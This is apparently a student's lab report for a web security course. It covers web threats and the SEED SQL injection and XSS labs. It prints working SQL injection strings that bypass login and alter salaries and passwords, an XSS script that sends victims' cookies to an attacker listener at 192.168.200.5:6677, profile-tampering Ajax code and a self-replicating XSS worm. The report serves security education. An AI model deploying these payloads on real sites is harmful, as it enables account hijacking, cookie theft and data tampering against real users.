20199117 2019-2020-2 《网络攻防实践》第11周作业
目录
1.实践内容
1.1 Web应用程序体系结构及其安全威胁
1.1.1 Web应用体系结构
- Web应用程序:一种使用浏览器在互联网或企业内部网上进行访问操作的应用软件形态,通常以浏览器支持的语言所编写,或能够在浏览器控制的环境中运行,依赖于浏览器来对应用程序进行渲染与执行。
- Web体系结构图
- 浏览器:使用HTTP/HTTPS协议、HTML语言和Web服务器进行交互,获取Web服务器上的信息和应用服务
- Web服务器:接收Web客户端对资源的请求,在这些请求上执行一些基本的解析处理以确定资源的存在,然后将它传送给Web应用程序来执行,待Web应用程序执行完逻辑并返回响应时,Web服务器再将这个相应返回给Web客户端,在这个浏览器上进行本地执行、渲染和展示
- Web应用程序:Web应用的核心。普遍是三层体系结构
- 表示层:接受Web客户端输入并显示结果,通常由HTML的显示、输入表单等标签所构成
- 业务逻辑层(核心):从表示层接收输入并在其上完成某些工作,并可能需要数据层的协作,然后将结果送回表示层
- 数据层:以数据库或本地文件形式,提供非易失性的信息存储,这些信息可以被逻辑层请求或更新
- 数据库:Web应用存储数据的地方,数据层是Web应用程序多级结构中的最后一层
- 传输协议HTTP/HTTPS:浏览器和由Web服务器、Web应用程序和数据库所构成的Web站点之间的通信传输协议
1.1.2 Web应用安全威胁
- 针对浏览器和终端用户的Web浏览安全威胁:具体包括以浏览器渗透攻击为核心的网页木马、Phishing网站钓鱼等
- 针对传输网络的网络协议安全威胁:针对HTTP明文传输协议的敏感信息监听,在网络层、传输层和应用层都存在的假冒身份攻击,以及拒绝服务攻击等
- 系统层安全威胁:Web站点的宿主操作系统存在远程渗透攻击和本地渗透攻击威胁
- Web服务器软件安全威胁:包括SQL注入攻击、XSS跨站脚本攻击等
- Web数据安全威胁:Web站点中在Web应用程序后台存储的关键数据内容,以及Web客户端输入的数据内容,存在被窃取、篡改和输入不良信息等威胁
1.2 Web应用安全攻防技术概述
1.2.1 Web应用的信息收集
- 手工审查Web应用程序结构与源代码
收集目标Web应用程序如下不同类型信息- 静态和动态生成的页面
- 目录结构
- 辅助性文件
- 输入表单
- 查询参数字符串
- 自动下载与镜像Web站点页面
- 使用Google Hacking技术审查与探测Web应用程序
- Web应用程序安全评估与漏洞探测
1.2.2 攻击Web服务器软件
Web服务器平台中的安全漏洞主要分为:
- 数据驱动的远程代码执行安全漏洞
- 服务器功能扩展模块漏洞
- 样本文件安全漏洞
- 源代码泄露
- 资源解析攻击
1.2.3 攻击Web应用程序
- 将Web应用程序安全威胁从攻击技术角度分为:、
- 针对认证机制的攻击:针对用来确认用户、服务或应用身份机制的攻击手段,包括暴力枚举、利用认证机制不完善弱点、攻击口令恢复验证机制等
- 授权机制的攻击:针对用来确定用户、服务或应用是否具有执行请求动作必须权限机制的攻击手段,包括信任/会话预测、利用授权机制不完善弱点、利用会话失效机制不完善弱点、会话身份窃取攻击等
- 客户端攻击:扰乱或者渗透攻击Web站点客户端用户的攻击手段,包括内容欺骗、跨站脚本攻击等
- 命令执行攻击:在Web站点上执行远程命令的攻击手段,包括缓冲区溢出、格式化字符串等
- 信息暴露:获取Web站点具体系统信息的攻击手段,包括目录列举、信息泄露、路径遍历、资源位置可预测等
- 逻辑攻击:扰乱或者渗透攻击Web应用逻辑流程的攻击手段,包括功能滥用、拒绝服务攻击、对抗自动程序不完善等
- 2010年TOP10 Web应用程序安全威胁类型依次为:代码注入攻击、XSS跨站脚本、不安全的身份认证和会话管理、不安全的直接对象引用、CSRF跨站请求伪造、不安全的配置、不安全的加密存储、未限制URL访问、不充分的传输层保护、及未经安全验证的重定向和前进链接
1.2.4 攻击Web数据内容
- 安全敏感数据泄露:通过如下途径和方式被泄露:
- Web服务器存在目录遍历漏洞或不安全的目录文件枚举配置,在不经意间泄露
- 利用Web服务器的Upload、incoming等上传目录临时中转文件时泄露
- 由于缺乏安全意识,在Web站点公开的文档资料中包含个人隐私、企业秘密、甚至国家秘密信息
- 网站篡改:在利用特定攻击手段入侵网站后,将网站页面内容进行替换,从而宣示入侵成功或表达攻击者的某种观点诉求
- 不良信息内容上传
1.2.5 Web应用安全防范措施
- Web站点网络传输安全设防措施
- 尽量使用HTTPS来保障Web站点传输时的保密性、完整性与身份真实性,至少要对登录过程进行加密保护
- 通过加密的连接通道来管理Web站点,避免使用未经加密的telnet、FTP、HTTP来进行Web后台管理,而使用SSH、SFTP等安全协议
- 对关键的Web服务器,设置静态绑定MAC_IP映射,在服务网段内进行ARP等各类欺骗攻击的检测与MAC封禁机制,在网管位置部署防火墙与入侵检测系统对Web服务器实施保护与安全检测,采用冗长等机制来应对拒绝服务攻击
- Web站点操作系统及服务安全设防安全措施
- 对Web站点的操作系统与服务器软件进行及时的补丁更新
- 对Web站点服务器的操作系统及各种开放服务进行远程安全漏洞扫描
- 采用提升系统与服务安全性的一般性设防措施
- Web应用程序安全设防措施
- 认识到采用动态内容、支持用户输入的Web应用程序较静态HTML具有更高的安全风险
- 对于必须提供用户交互、采用动态页面的Web站带你,尽量使用具有良好安全声誉及稳定技术支持力量的Web应用软件包
- 只在必要时候自主或外包开发Web应用程序
- 使用Web服务器软件提供的日志功能
- Web站点数据安全设防措施
- 提高网站内容维护人员的数据安全意识
- 提升Web站点的安全性;掌握并善用Google搜索引擎技巧;对网站的安全配置进行检查;对接受用户交互的网站列出清单
1.3 SQL注入
- 代码注入根据攻击目标的不同分为:
- 恶意读取、修改与操纵数据库的SQL注入攻击
- 在Web服务器端安装、执行Webshell等恶意脚本的PHP注入或ASP注入攻击
- 在Web服务器端恶意执行操作系统命令的Shell注入攻击
- 其他多种多样的注入攻击
1.3.1 SQL注入攻击原理
- SQL注入:利用Web应用程序数据层存在的输入验证不完善型安全漏洞实施的一类代码注入攻击技术。被攻击的漏洞称为SQL注入漏洞,是由于用户输入没有被正确地过滤以消除SQL语言中的字符串转义字符,或者没有进行严格的类型判断从而使得用户可以输入并执行一些非预期的SQL指令代码
- SQL注入攻击的原理:向Web应用程序提供的用户输入接口输入一段精心构造的SQL查询命令,攻击和利用不完善的输入验证机制,使得注入码得以执行完成非预期的攻击操作行为
1.3.2 SQL注入攻击步骤和过程
- 发现SQL注入点:
- 当some_rec字段是整数型参数时,通常数据库SQL操作语句为"SELECT * FROM some WHERE some_rec=yyy",可将参数取值yyy设置为:
- 将yyy修改为yyy' 造成SQL语句错误,动态页面会返回错误提示信息。
- 将yyy修改为yyy and 1=1 不对查询条件造成任何影响,返回正常页面。
- 将yyy修改为yyy and 1=2 查询不到任何信息,应返回空白页面或错误提示信息。
- 当some_rec字段是字符串型参数时,通常数据库SQL操作语句为"SELECT * FROM some_table WHERE some_rec='yyy'",可将参数取值yyy设置为:
- 将yyy修改为yyy' 造成SQL语句错误,动态页面会返回错误提示信息。
- 将yyy修改为yyy' and '1'='1 不对查询条件造成任何影响,返回正常页面。
- 将yyy修改为yyy' and '1'='2 查询不到任何信息,应返回空白页面或错误提示信息。
- 当some_rec字段是整数型参数时,通常数据库SQL操作语句为"SELECT * FROM some WHERE some_rec=yyy",可将参数取值yyy设置为:
- 判断后台数据库类型
- 利用数据库服务器的系统变量进行判断
- 利用数据库服务器的系统表进行判断
- 后台数据库中管理员用户口令字猜解
- 猜解表名
- 猜解字段名
- 用户名与口令猜解
- 上传ASP后门,得到默认账户权限:在破解得到Web应用管理员用户名和口令后,通过找出后台管理界面登录,攻击者就可以通过后台管理界面通常所提供的的下载上传文件等功能上传ASP后门,对Web站点进行远程控制。
- 本地权限提升:获得Web服务器软件启动的本地受限用户权限后,要进一步获得系统根用户权限,需要实施一些本地权限提升攻击
- 利用数据库扩展存储过程执行Shell命令
1.3.3 SQL注入攻击工具
- 自动化SQL注入漏洞发现和攻击工具
- Wposion:在动态Web文档中找出SQL注入漏洞
- wieliekoek.pl:进行SQL注入漏洞探测
- SPIKE Proxy工具:允许使用者对待注入的字符串进行定制,并执行自动化的SQL注入测试
- SPI Toolkit工具包中包含”SQL Injector“自动化SQL注入测试工具
- SQL注入渗透测试工具软件:CSC、NBSI、HDSI等
1.3.4 SQL注入攻击防范措施
- 使用类型安全的参数编码机制
- 凡是来自外部的用户输入,必须进行完备检查
- 将动态SQL语句替换为存储过程、预编译SQL或ADO命令对象
- 加强SQL数据库服务器的配置与连接
1.4 XSS跨站脚本攻击
- XSS跨站脚本攻击的最终目标是使用Web应用程序的用户。XSS跨站脚本漏洞存在于Web应用程序中,使得攻击者可以在Web页面中插入恶意的HTML或JavaScript代码,当用户在浏览网页时,客户端浏览器就会解析和执行这些插入的代码,从而造成获取用户敏感信息、客户端渗透攻击等后果。
1.4.1 XSS攻击技术原理
- XSS攻击的原理:Web应用程序对用户输入内容的安全验证与过滤不够完善,XSS攻击的最终攻击目标不是Web服务器,而是访问这些服务器的其他用户。
- 攻击方式包括绕过客户端安全策略访问敏感信息,窃取或修改会话Cookie、进行客户端渗透攻击获取访问权等
1.4.2 XSS攻击类型
- 持久性XSS漏洞(存储性XSS漏洞):危害最为严重的XSS漏洞,通常出现于一些可以将用户输入持久性的保存在Web服务器端,并在一些”正常“页面中持续显示,从而能够影响所有访问这些页面的其他用户
- 非持久性XSS漏洞(反射XSS漏洞):最为普遍的类型,当Web浏览器在HTTP请求参数或HTML提交表单中提供的数据,被立即由服务器端脚本使用产生一个提供给该用户的结果页面,而缺乏恰当的请求数据安全验证与过滤,那么就可能存在非持久性XSS漏洞
- 针对非持久性XSS漏洞的具体攻击步骤:
- 攻击者构造一个包含恶意脚本的bank.com登录请求链接,并通过Email/HTTP等方式将该攻击链接发送给其他bank.com网站用户
- 受害用户点击攻击链接后,将会把恶意链接中包含的恶意脚本当作用户名参数提交给bank.com的登录处理网页
- 由于bank.com登录处理页面存在XSS漏洞,将会在反馈的欢迎页面中包含恶意客户端脚本
- 攻击者的恶意客户端脚本在受害用户浏览器中执行,通常会驱动浏览器向攻击者发送会话令牌
- 攻击者获得会话令牌后,就可以劫持用户会话,或者伪造用户登录bank.com,并实施进一步攻击
1.4.4 XSS攻击防范措施
- 服务器端防范措施:输入验证、输出净化、消除危险的输入点
- 客户端防范措施:提升浏览器的安全设置,也可以采用非主流的安全浏览器降低安全风险
2.实践过程
2.1 SEED SQL 注入实验
1.熟悉SQL语句
- 输入指令
sudo service apache2 start
运行Apache服务 - 输入指令
msql -u root -pseedubuntu
登录mysql数据库,-u:用户名,-p:密码 - 输入指令
use Users
,show tables
查看Users数据库中的所有表
- 输入指令
select * from credential
查询数据库得到结果如下图所示
- 输入指令
select * from credential where Name='Admin';
查询Admin该用户的信息
2.对SELECT语句的攻击
- 在虚拟机上访问http://www.SEEDLabSQLInjection.com,并查看其对应的文件(地址为/var/www/SQLInjection)其中unsafe_home.php文件为存在SQL注入攻击的主页,查看源代码,SQL语句输入两个变量分别为用户名uname及密码pwd,用户名保留输入的字符串,而密码则保留sha1哈希
- 根据如下代码,表示“Admin”用户不是普通用户应为管理员的用户名,在sql语句中#后的内容均为注释,并不执行,所以我们在不知道密码的情况下可以输入用户名admin'#,密码就被注释不执行,能够登陆成功
- 在网站上输入用户名
admin' #
登陆成功,表示攻击成功
- 输入指令
curl http://www.seedlabsqlinjection.com/unsafe_home.php?username=Admin%27%23&Password=123
,查看返回结果如下图所示,表示SQL注入攻击成功
- 追加新的SQL语句达到修改数据库的效果:追加一个delete或update语句,如在用户名上输入
Admin’; updata credential set salary='1' where Name='Admin' #
,如图所示,sql注入攻击失败,因为msql中的对策阻止从php调用多语句执行
3.对UPDATE语句的SQL注入攻击
- 查看UPDATE语句对应的文件unsafe_edit_backend.php,表示只能修改员工的邮箱住址等基本信息,不能修改工资
- 修改Alice的工资:在NickName处输入
', salary='500000' where EID='10000';#
就将Alice的工资修改为500000,修改成功则表示攻击成功
- 在Alice的NickName处输入
', salary='1' where name='Boby';#
修改Boby的工资,并进入Boby页面查询,如图所示,修改成功
- 输入指令
echo -n '123456'|sha1sum
修改密码,由于密码存储为sha1,所以该指令表示输出密码123456的sha1值如图所示
- 在Alice的编辑界面的NickName中输入
', Password='7c4a8d09ca3762af61e59520943dc26494f8941b' where Name='Ted';#
,表示Ted的密码改为123456
- 输入用户名为Ted,密码为123456,进入界面,表示攻击成功
2.2 SEED XSS攻击实验
Alice为攻击者,Boby为受害者,Admin为蠕虫攻击的第二波受害者
Alice密码为seedalice;Boby密码为seedboby;Admin密码为seedelgg
1、发布恶意消息,显示警报窗口
- 登录Alice账户,编辑个人主页,在Brief description中插入XSS攻击代码
<script> alert('xss');</script>
,保存后出现弹窗
2、弹窗显示cookie信息
- 在Alice编辑页面中的Brief description中插入XSS攻击代码
<script> alert(document.cookie);</script>
,保存后出现弹窗
3、窃取受害者的cookies
- 在Alice编辑页面中的Brief description中输入指令
<script>document.write(’<img src=http://192.168.200.5:6677?c=’+ escape(document.cookie) + ’ >’);</script>
- 使用nc监听6677端口,-l:端口;-v:显示详细信息,可以得到访问Alice主页的用户对应的cookie信息
4、与受害者成为朋友
- 在Alice主页中搜索Boby添加其为好友,在Web控制台Network窗口看到参数分别为__elgg_token,__elgg_ts和friend
- 进入Alice编辑界面,将以下代码输入到About me中
<script type="text/javascript">
window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the HTTP request to add Samy as a friend.
var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
//Create and send Ajax request to add friend
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send();
}
</script>
- 修改信息后发送的数据如下图所示
- 登录Boby账户,在Boby中访问Alice主页,返回到Boby主页后,发现自动添加Alice为好友
5、修改受害者的信息
- 在Alice的编辑页面中的About me中输入如下代码,用于XSS攻击自动添加好友
<script type="text/javascript">
window.onload = function(){
//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
//and Security Token __elgg_token
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
//FILL IN
var samyGuid=44;
//FILL IN
if(elgg.session.user.guid!=samyGuid)
{
//Create and send Ajax request to modify profile
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
- 登录Boby的账号访问Alice主页,返回时看到Boby的简介为this had been changed by xss attack.表示攻击成功
6、编写XSS蠕虫
- 与上述操作相同,将以下蠕虫攻击代码输入到Alice的About me中
<script id="worm" type="text/javascript">
window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid)
{
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
- 登录Boby账户再次访问Alice主页,可以得到如下信息,蠕虫病毒感染Boby主页
- 登录Admin账户访问Boby主页,Admin账户二次感染蠕虫病毒
7、对抗XSS攻击
- 登录Admin管理员账户,点击Account->administration->plugins,找到插件HTMLawed,其主要作用是对用户的输入输出进行校验并且去除特定标签,并使其处于Deactivate
- 再次查看Alice的账户主页,可以看到XSS攻击无效,Alice中的代码被显示为About me
3.学习中遇到的问题及解决
- 问题:代码编写一窍不通
- 解决:参考学霸们的博客完成作业!
4.实践总结
好好学习!